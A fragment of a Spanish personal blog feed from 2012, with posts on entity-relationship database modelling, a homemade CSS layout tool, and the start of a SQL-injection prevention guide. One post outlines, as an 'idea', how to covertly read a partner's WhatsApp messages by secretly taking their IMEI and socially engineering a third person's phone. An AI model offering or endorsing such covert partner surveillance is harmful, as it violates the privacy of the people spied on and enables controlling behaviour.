scheme="http://www.blogger.com/atom/ns#" term="relación"/><title type='text'>Es hora de BBDD modelo Entidad-Relación (ER)</title><content type='html'>Buenas gente, para seguir un poquito con mi rutina de historietas que os cuento por&amp;nbsp;aquí&amp;nbsp; hoy quiero hablar un poco del modelo Entidad-Relación, ya que para aprender a defender un Sistema primero&amp;nbsp;habrá&amp;nbsp;que aprender a diseñarlo o crearlo bien y como una de las cosas que mas me gustan son las Bases de Datos, vamos a aprender un poquito.&lt;br /&gt;
&lt;br /&gt;
Espero no explayarme demasiado:&lt;br /&gt;
&lt;br /&gt;
El modelo de Entidad-Relación&amp;nbsp;(ER a partir de ahora) se caracteriza como su propio nombre indica (no&amp;nbsp;podría&amp;nbsp;ser mas descriptivo) en que por cada Entidad existe una&amp;nbsp;Relación&amp;nbsp;con otra Entidad, y todos las Entidades deben estar relacionadas con 1 o mas de ellos.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Las&amp;nbsp;Entidades&lt;/b&gt;&amp;nbsp;u Objetos o &quot;cosas&quot; como&amp;nbsp;queráis&amp;nbsp;llamarlas representan &quot;cosas&quot; del mundo real, que se diferencian unas de otras. Por ejemplo un perro, un gato, un coche, etc... Al igual que todos sabemos distinguir un coche, de un perro (jejeje parece obvio),&amp;nbsp;también&amp;nbsp;sabemos distinguir un coche de otro coche, ¿Y como hacemos eso?, por sus &lt;b&gt;atributos&lt;/b&gt;&amp;nbsp;es decir su color, forma, marca, modelo, y en caso de que todo lo anterior coincida por su matricula. Por lo tanto se establece una&amp;nbsp;&lt;b&gt;relación&lt;/b&gt;&amp;nbsp;&lt;b&gt;1 a 1&lt;/b&gt; coche - matricula, solo hay un coche con sus atributos por cada matricula, y&amp;nbsp;viceversa.&lt;br /&gt;
&lt;br /&gt;
Existen más tipos de relaciones como por ejemplo la que existe entre una casa y sus habitantes,&amp;nbsp;ahí&amp;nbsp;la&amp;nbsp;relación&amp;nbsp;seria de &lt;b&gt;1 a n &lt;/b&gt;puesto que existe una casa en la cual vive una o mas personas (ojo&amp;nbsp;también&amp;nbsp;puede no vivir nadie, pero mejor no liarnos)&lt;br /&gt;
&lt;br /&gt;
Creo que queda bastante claro el concepto de Entidades, Relaciones y Atributos. Por supuesto de este tema se puede estar hablando largo y tendido pero tampoco es el objeto de mi post, simplemente dar una pequeña&amp;nbsp;noción, de que es cada cosa e intentar explicarla. Para meteros mas en profundo con el tema no hay mas que introducir &quot;modelo entidad-relación&quot;&amp;nbsp;en google.&lt;br /&gt;
&lt;br /&gt;
Las Entidades se dibujan con un&amp;nbsp;rectángulo.&lt;br /&gt;
Los Atributos se dibujan con un ovalo.&lt;br /&gt;
Las relaciones se dibujan con un rombo y una linea de entidad a rombo y de rombo a entidad.&lt;br /&gt;
&lt;br /&gt;
Bien llegados a este punto y como me gusta que todo quede &quot;practico&quot; os voy a poner&amp;nbsp;aquí&amp;nbsp;un ejercicio que me han planteado en la FP que estoy haciendo (DAM), bastante sencillito, con la&amp;nbsp;solución&amp;nbsp;que yo he propuesto, por supuesto se admiten sugerencias ;)&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;lucida grande&#39;, tahoma, verdana, arial, sans-serif; font-size: 11px; line-height: 14px;&quot;&gt;Diseñe un modelo E/R para un sistema sobre municipios, viviendas&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;lucida grande&#39;, tahoma, verdana, arial, sans-serif; font-size: 11px; line-height: 14px;&quot;&gt;&amp;nbsp;y personas. Cada persona solo puede habitar en una vivienda&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;lucida grande&#39;, tahoma, verdana, arial, sans-serif; font-size: 11px; line-height: 14px;&quot;&gt;, y estar empadronada en un municipio, pero puedes ser propietario de varias viviendas&lt;/span&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;color: #333333; font-family: lucida grande, tahoma, verdana, arial, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 11px; line-height: 14px;&quot;&gt;. Nos interesa&amp;nbsp;también&amp;nbsp;conocer las personas que dependen del cabeza de familia (CF). En una vivienda&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;lucida grande&#39;, tahoma, verdana, arial, sans-serif; font-size: 11px; line-height: 14px;&quot;&gt;&amp;nbsp;pueden habitar varias personas, una vivienda&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;lucida grande&#39;, tahoma, verdana, arial, sans-serif; font-size: 11px; line-height: 14px;&quot;&gt;&amp;nbsp;puede ser propiedad de muchas personas. Una persona solo puede tener un cabeza de familia y este puede serlo de varias personas. un municipio puede tener varias&amp;nbsp;viviendas&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;lucida grande&#39;, tahoma, verdana, arial, sans-serif; font-size: 11px; line-height: 14px;&quot;&gt;, y una vivienda&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;lucida grande&#39;, tahoma, verdana, arial, sans-serif; font-size: 11px; line-height: 14px;&quot;&gt;pertenece solo a un municipio, un municipio puede tener varias personas empadronadas.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Planteamiento:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Entidades:&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Persona&lt;/li&gt;
&lt;li&gt;Vivienda&lt;/li&gt;
&lt;li&gt;Municipio&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Relaciones:&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;1 Persona (Cabeza de Familia) tiene Varias Personas&lt;/li&gt;
&lt;li&gt;1 Persona Vive en 1 Vivienda&lt;/li&gt;
&lt;li&gt;1 Persona propietaria n Viviendas&lt;/li&gt;
&lt;li&gt;1 Persona Empadronada en 1 Municipio&lt;/li&gt;
&lt;li&gt;1 Vivienda viven n Personas&lt;/li&gt;
&lt;li&gt;1 Vivienda propietaria n Personas&lt;/li&gt;
&lt;li&gt;1 Vivienda pertenece a 1 Municipio&lt;/li&gt;
&lt;li&gt;1 Municipio pertenecen n Casas&lt;/li&gt;
&lt;li&gt;1 Municipio empadronados n Personas&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
En este caso no nos hablan de atributos de nada &amp;nbsp;así&amp;nbsp;que nos olvidamos.&lt;br /&gt;
El modelo de Entidad-Relación que he diseñado quedaría de la siguiente manera, aunque eso no significa que otros modelos&amp;nbsp;estén&amp;nbsp;mal, esta es la&amp;nbsp;solución&amp;nbsp;que yo propongo:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZ3P6MuxbjmoUzFT4TPYomZbFNSuZNv3fPpRF_4KZYGmH8Rl1YY0ajgTy6oEAwdvPErWB2W-7VAtkyleVPn3o6k5EeGetvB9ZIFYcbLiI1AQ3Op-L2n1mCMnScYx1NmrIVL8DGZQK9zvA/s1600/ER-E.J.1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;265&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZ3P6MuxbjmoUzFT4TPYomZbFNSuZNv3fPpRF_4KZYGmH8Rl1YY0ajgTy6oEAwdvPErWB2W-7VAtkyleVPn3o6k5EeGetvB9ZIFYcbLiI1AQ3Op-L2n1mCMnScYx1NmrIVL8DGZQK9zvA/s1600/ER-E.J.1.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Y hasta&amp;nbsp;aquí&amp;nbsp;el post de hoy.&lt;br /&gt;
&lt;br /&gt;
PD: Que conste que este es el primer modelo que hago, yo siempre establezco las relaciones en mi cabeza y lo creo directamente en mi MySQL o Oracle, pero habrá que aprender a hacer esto&amp;nbsp;también&amp;nbsp;:)</content><link rel='replies' type='application/atom+xml' href='http://s3ik0tr0n.blogspot.com/feeds/2750519498801264604/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://s3ik0tr0n.blogspot.com/2012/10/es-hora-de-bbdd-modelo-entidad-relacion.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/2750519498801264604'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/2750519498801264604'/><link rel='alternate' type='text/html' href='http://s3ik0tr0n.blogspot.com/2012/10/es-hora-de-bbdd-modelo-entidad-relacion.html' title='Es hora de BBDD modelo Entidad-Relación (ER)'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/08878268745400136737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZ3P6MuxbjmoUzFT4TPYomZbFNSuZNv3fPpRF_4KZYGmH8Rl1YY0ajgTy6oEAwdvPErWB2W-7VAtkyleVPn3o6k5EeGetvB9ZIFYcbLiI1AQ3Op-L2n1mCMnScYx1NmrIVL8DGZQK9zvA/s72-c/ER-E.J.1.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1266026171270080387.post-2031712697811750652</id><published>2012-10-15T13:41:00.000+02:00</published><updated>2012-10-15T13:41:55.585+02:00</updated><title type='text'>DesignHTMLCSS V2.0</title><content type='html'>Como no, ya estoy por&amp;nbsp;aquí&amp;nbsp;dando la lata de nuevo.&lt;br /&gt;
&lt;br /&gt;
Nada simplemente es para comentaros que ya he sacado la&amp;nbsp;versión&amp;nbsp;2.0 del pequeño &quot;programilla&quot; por llamarlo de alguna manera para ayudar y facilitar a la hora de desarrollar una web, realizar los&amp;nbsp;típicos&amp;nbsp;ajustes y tal.&lt;br /&gt;
&lt;br /&gt;
Le he añadido una pestaña para los bordes, pudiendo editar, su ancho, color y estilo.&lt;br /&gt;
&lt;br /&gt;
También&amp;nbsp;he agregado una pestaña para el Padding, para poder ajustar a su gusto el top, bottom, left y right y ver como va quedando en tiempo real.&lt;br /&gt;
&lt;br /&gt;
Dejo por&amp;nbsp;aquí&amp;nbsp;el enlace a sourceforge, he facilitado la descarga del proyecto,&amp;nbsp;poniéndolo&amp;nbsp;en .rar (así&amp;nbsp;no hay que bajar varios ficheros que llevan a error)&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://sourceforge.net/projects/designhtmlcss/files/&quot;&gt;https://sourceforge.net/projects/designhtmlcss/files/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Un saludo, si surge alguna duda de como usarlo no&amp;nbsp;dudéis&amp;nbsp;en preguntar o si se os ocurre que mas se&amp;nbsp;podría&amp;nbsp;añadir.&lt;br /&gt;
&lt;br /&gt;
Un saludo! No vemos dentro de poco</content><link rel='replies' type='application/atom+xml' href='http://s3ik0tr0n.blogspot.com/feeds/2031712697811750652/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://s3ik0tr0n.blogspot.com/2012/10/designhtmlcss-v20.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/2031712697811750652'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/2031712697811750652'/><link rel='alternate' type='text/html' href='http://s3ik0tr0n.blogspot.com/2012/10/designhtmlcss-v20.html' title='DesignHTMLCSS V2.0'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/08878268745400136737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1266026171270080387.post-2972835857430335475</id><published>2012-10-11T11:37:00.002+02:00</published><updated>2012-10-11T11:37:58.072+02:00</updated><title type='text'>¿Cansado de perder tiempo con el diseño web? Solucionado!</title><content type='html'>Hola buenos&amp;nbsp;días!!&lt;br /&gt;
&lt;br /&gt;
Hacia tiempo que no&amp;nbsp;escribía&amp;nbsp;por&amp;nbsp;aquí&amp;nbsp;para contaros mis&amp;nbsp;típicas&amp;nbsp;frikadas, no me gusta escribir por escribir, e intento que las cosas que escribo al menos sean interesantes o divertidas.&lt;br /&gt;
&lt;br /&gt;
Tras este&amp;nbsp;breve&amp;nbsp;inciso que no viene a cuento, paso a la chicha!&lt;br /&gt;
&lt;br /&gt;
Encontrabame yo &quot;diseñando&quot; uno de mis&amp;nbsp;típicos&amp;nbsp;proyectos web que al final ni termino, ni publico, y me&amp;nbsp;surgían&amp;nbsp;varios problemas a la hora de hacer el &quot;diseño&quot;. Digo &quot;diseño&quot; por que el diseño no es lo mio, y soy reacio a usar &quot;soluciones&quot; (hoy me ha dado por las comillas eh!) del estilo de Dreamweaver. Aun&amp;nbsp;así&amp;nbsp;me di cuenta de que se pierde muuucho tiempo a la hora de realizar el CSS y que te quede al menos como poco donde tu quieres, y como tu quieres (lo de bonito o no ya es otra cosa XD). Por lo que me dispuse a buscar un programa para precisamente hacer esto de diseño algo mas ameno, no del estilo de Dreamweaver, que no me gusta nada que me metan&amp;nbsp;código&amp;nbsp;basura que no se para que sirve en mis&amp;nbsp;códigos&amp;nbsp;html.&lt;br /&gt;
&lt;br /&gt;
Dispuseme a ello, y por mas que buscaba por la red (es posible que sea bastante&amp;nbsp;pésimo&amp;nbsp;buscando y no diera con lo que yo&amp;nbsp;quería) no terminaba de encontrar algo que hiciera realmente lo que yo&amp;nbsp;quería, lo que yo&amp;nbsp;quería&amp;nbsp;es lo siguiente:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Poder mover el DIV&lt;/b&gt; en&amp;nbsp;cuestión&amp;nbsp;a mi gusto, y obtener como poco la referencia relativa del top y left de el movimiento aplicado.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Poder redimensionar el DIV&lt;/b&gt; puesto que a veces (sobre todo al principio) cuando estamos estructurando la web, decimos o al menos yo digo, este div unos 150px, pero luego te das cuenta cuando guardas y refrescas de que se queda corto, y tienes que cambiarlo, guardar y refrescar. Vamos un coñazo!&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Poder cambiar el color de fondo&lt;/b&gt;, o del borde de un DIV, sin tener que ir probando, edito-guardo-refresco, edito-guardo-refresco, edito-edito-guardo, al puro estilo Simpson.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Jugar con el Z-Index&lt;/b&gt; y ver cual tengo que poner para que este div quede exactamente como yo quiero, ya que a veces tenemos varios elementos y no nos acordamos exactamente de que valor le dimos a cada uno, y la verdad es un coñazo buscarlo e ir probando.&lt;/li&gt;
&lt;li&gt;Y que toda esta&amp;nbsp;&lt;b&gt;información&lt;/b&gt;&amp;nbsp;simplemente me la mostrara &lt;b&gt;en pantalla&lt;/b&gt;, no que me la guarde en&amp;nbsp;ningún&amp;nbsp;lado, con el consiguiente &quot;exceso&quot; de&amp;nbsp;código, o&amp;nbsp;código&amp;nbsp;que no conocemos.&lt;/li&gt;
&lt;li&gt;Y todo esto &lt;b&gt;de manera&amp;nbsp;dinámica&lt;/b&gt;&amp;nbsp;en el navegador.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Rapidamente, me acorde de JQuery, sabia que todas estas cosas ya estaban echas, al menos para añadir &quot;efectos&quot; a una web. Y me dije joder, y por que no lo aplico?&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
El resultado es el siguiente:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;https://sourceforge.net/projects/designhtmlcss/files/&quot; target=&quot;_blank&quot;&gt;https://sourceforge.net/projects/designhtmlcss/files/&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
En el fichero readme.html&amp;nbsp;tenéis&amp;nbsp;como se instala.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Aquí&amp;nbsp;os dejo unas screenshots de el fichero de prueba &quot;prueba.html&quot; para que&amp;nbsp;veáis&amp;nbsp;como funciona&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPttRZojWvnb1Ck3jbcmdi6xWDInIPGdQCSoxjAj5BLdy9-KzgIMuspdPdWV4oqHBC1De1FKvItu5h9tcE-LqaQS7A8Ry5t3itpcW3aBV4IOJXt1-qk8pBWY91K7zlI-S8P9cQaoCdH-8/s1600/ejemplo1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;172&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPttRZojWvnb1Ck3jbcmdi6xWDInIPGdQCSoxjAj5BLdy9-KzgIMuspdPdWV4oqHBC1De1FKvItu5h9tcE-LqaQS7A8Ry5t3itpcW3aBV4IOJXt1-qk8pBWY91K7zlI-S8P9cQaoCdH-8/s320/ejemplo1.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_Om0PF9TPSLvEKShdkw23IATwWzmgIOgjvwgvg-DHylThdLelkITFAbXZt6Z21zxYlp7sP4xczuwikxbEUbWFxlUyL79aDBlr44P52kHnnR9MrRamMnC4YWlrPGTcD4RsfXgersHNtUM/s1600/ejemplo2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;172&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_Om0PF9TPSLvEKShdkw23IATwWzmgIOgjvwgvg-DHylThdLelkITFAbXZt6Z21zxYlp7sP4xczuwikxbEUbWFxlUyL79aDBlr44P52kHnnR9MrRamMnC4YWlrPGTcD4RsfXgersHNtUM/s320/ejemplo2.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTxudqf0n2_9581hyyLHnPP7AL-g79i8loTD84oehchOoujZtHzFo7m22bwLtHRRHDXmhywd1XsTUyCYcYtP-AIK2R6QOoCGJ_3UOtWz270zquggLQv1Pldh7FRRNHJeCdEcy1IQ56FOw/s1600/ejemplo3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;172&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTxudqf0n2_9581hyyLHnPP7AL-g79i8loTD84oehchOoujZtHzFo7m22bwLtHRRHDXmhywd1XsTUyCYcYtP-AIK2R6QOoCGJ_3UOtWz270zquggLQv1Pldh7FRRNHJeCdEcy1IQ56FOw/s320/ejemplo3.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvk8tbYw1pt-nTogv6gxd1hCx0crII30zIaU3Te5tK6KjfurGcCP3fmc1IbI1r_Yy91xzTT5lP8nmUVXEeYA5yorh8mZbbRpAgkMpqnOhjaCDmw6F-CaYOO3Fjd7AeXWEk3kBaFGWVArg/s1600/ejemplo4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;172&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvk8tbYw1pt-nTogv6gxd1hCx0crII30zIaU3Te5tK6KjfurGcCP3fmc1IbI1r_Yy91xzTT5lP8nmUVXEeYA5yorh8mZbbRpAgkMpqnOhjaCDmw6F-CaYOO3Fjd7AeXWEk3kBaFGWVArg/s320/ejemplo4.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCoOuKHlCUMBZwlv4ElKMQXxgKZV4PdmOErnfD8-PAqMPvyBbaZ0yBbkbldudfGuvDY6qQEwlqM3yQm5yiluq52g75l_A3rRcA_NG_qroz8lcy5z-uFZA9gUuGlKw4NRfUW-WtzmSnUvU/s1600/ejemplo5.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;172&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCoOuKHlCUMBZwlv4ElKMQXxgKZV4PdmOErnfD8-PAqMPvyBbaZ0yBbkbldudfGuvDY6qQEwlqM3yQm5yiluq52g75l_A3rRcA_NG_qroz8lcy5z-uFZA9gUuGlKw4NRfUW-WtzmSnUvU/s320/ejemplo5.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://s3ik0tr0n.blogspot.com/feeds/2972835857430335475/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://s3ik0tr0n.blogspot.com/2012/10/cansado-de-perder-tiempo-con-el-diseno.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/2972835857430335475'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/2972835857430335475'/><link rel='alternate' type='text/html' href='http://s3ik0tr0n.blogspot.com/2012/10/cansado-de-perder-tiempo-con-el-diseno.html' title='¿Cansado de perder tiempo con el diseño web? Solucionado!'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/08878268745400136737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPttRZojWvnb1Ck3jbcmdi6xWDInIPGdQCSoxjAj5BLdy9-KzgIMuspdPdWV4oqHBC1De1FKvItu5h9tcE-LqaQS7A8Ry5t3itpcW3aBV4IOJXt1-qk8pBWY91K7zlI-S8P9cQaoCdH-8/s72-c/ejemplo1.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1266026171270080387.post-4523421173444745935</id><published>2012-09-17T23:40:00.001+02:00</published><updated>2012-10-17T17:53:28.759+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="como espiar el Whatsapp"/><category scheme="http://www.blogger.com/atom/ns#" term="espiar Whatsapp"/><category scheme="http://www.blogger.com/atom/ns#" term="hackear Whatsapp"/><category scheme="http://www.blogger.com/atom/ns#" term="Leer el Whatsapp a tu pareja"/><category scheme="http://www.blogger.com/atom/ns#" term="Whatsapp"/><title type='text'>Espiando el Whatsapp de tu novia/o.</title><content type='html'>&lt;br /&gt;
Buenas gente!!&lt;br /&gt;
&lt;br /&gt;
Vuelvo por&amp;nbsp;aquí&amp;nbsp;para exponer una idea que me ha surgido al leer el post de Security By Default del&amp;nbsp;día&amp;nbsp;de hoy, el post es el siguiente:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.securitybydefault.com/2012/09/whatsapp-spam-inundacion-y-robo-de.html#disqus_thread&quot;&gt;http://www.securitybydefault.com/2012/09/whatsapp-spam-inundacion-y-robo-de.html#disqus_thread&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Tal y como dicen, es posible leer los whatsapp de alguien, la &quot;pega&quot; es que ese alguien nunca&amp;nbsp;recibirá&amp;nbsp;los whatsapp enviados por esa segunda persona.&lt;br /&gt;
&lt;br /&gt;
Ahora bien, y solo lo expongo como idea, aunque aun no he&amp;nbsp;desarrollado&amp;nbsp;un mod del&amp;nbsp;código&amp;nbsp;que ellos proponen (aun estoy probandolo), por el cual teniendo acceso al movil de tu novia/o y de la persona de la cual quieras leer los mensajes sin que nadie se entere que lo has hecho.&lt;br /&gt;
&lt;br /&gt;
Ejemplo:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Tu novia/o se va al baño coges el movil e introduces *#06# y ya tienes su IMEI. (como ya tienes su numero de&amp;nbsp;teléfono&amp;nbsp;no te hace falta nada mas)&lt;br /&gt;
&lt;br /&gt;
Ahora supongamos que sospechas de un &quot;amigo&quot; suyo o tuyo, y que bien por&amp;nbsp;ingeniería&amp;nbsp;social o por otros&amp;nbsp;métodos&amp;nbsp; consigues que te deje su&amp;nbsp;móvil&amp;nbsp;para &quot;jugar&quot; un ratito. Introduces el mismo&amp;nbsp;código&amp;nbsp;y ya tienes el IMEI.&lt;br /&gt;
&lt;br /&gt;
Ahora mismo, serias capaz de leer todos los mensajes que le llegan a tu novia/o, pero, al leerlos tu, a ella/el no le&amp;nbsp;llegaría, por lo tanto&amp;nbsp;habría&amp;nbsp;que hacer un &quot;re-send&quot; del mensaje usando la IMEI del tipo sospechoso hacia tu novia/o desactivando primero la&amp;nbsp;opción&amp;nbsp;de leer sus mensajes.&lt;br /&gt;
&lt;br /&gt;
De esta manera&amp;nbsp;habrías&amp;nbsp;leído&amp;nbsp;lo que se&amp;nbsp;están&amp;nbsp;diciendo el uno al otro y nadie&amp;nbsp;sabría&amp;nbsp;que lo has hecho puesto que los mensajes&amp;nbsp;habrían&amp;nbsp;llegado a sus&amp;nbsp;legítimos&amp;nbsp;receptores.&lt;br /&gt;
&lt;br /&gt;
Espero que actualicen el Whatsapp pronto masivamente, o probablemente este servicio del cual creo que somos mas de 1 y mas de 2 &quot;adictos&quot; terminara por no ser absolutamente nada seguro usarlo.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://s3ik0tr0n.blogspot.com/feeds/4523421173444745935/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://s3ik0tr0n.blogspot.com/2012/09/espiando-el-whatsapp-de-tu-noviao.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/4523421173444745935'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/4523421173444745935'/><link rel='alternate' type='text/html' href='http://s3ik0tr0n.blogspot.com/2012/09/espiando-el-whatsapp-de-tu-noviao.html' title='Espiando el Whatsapp de tu novia/o.'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/08878268745400136737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1266026171270080387.post-371471128258802800</id><published>2012-08-17T11:35:00.003+02:00</published><updated>2012-08-17T11:35:20.166+02:00</updated><title type='text'>Como corregir o evitar los SQLi</title><content type='html'>¡¡Buenas gente!!&lt;br /&gt;
&lt;br /&gt;
Hacia mucho tiempo que no&amp;nbsp;escribía, tampoco&amp;nbsp;había&amp;nbsp;mucho que decir la verdad, pero bueno hoy he sacado un ratillo en el curro y me he propuesto escribir esta pequeña &quot;guía&quot; sobre como solucionar los SQL-Inyection (a partir de ahora SQLi), algo que&amp;nbsp;debería&amp;nbsp;estar ya erradicado de las paginas web, y que sin embargo&amp;nbsp;muchísimas&amp;nbsp;paginas importantes o no lo padecen.&lt;br /&gt;
&lt;br /&gt;
Existen varias formas de hacerlo, la gente suele filtrar las variables que pasamos a nuestras consultas SQL. Pero o bien por desconocimiento de como se realizan estas SQLi o por falta de soltura en el lenguaje en el que se esta programando, es&amp;nbsp;fácil&amp;nbsp;dejar hilos sueltos que pueden ser usados&amp;nbsp;fácilmente&amp;nbsp;como vectores de ataque para &quot;usuarios malintencionados&quot;.&lt;br /&gt;
&lt;br /&gt;
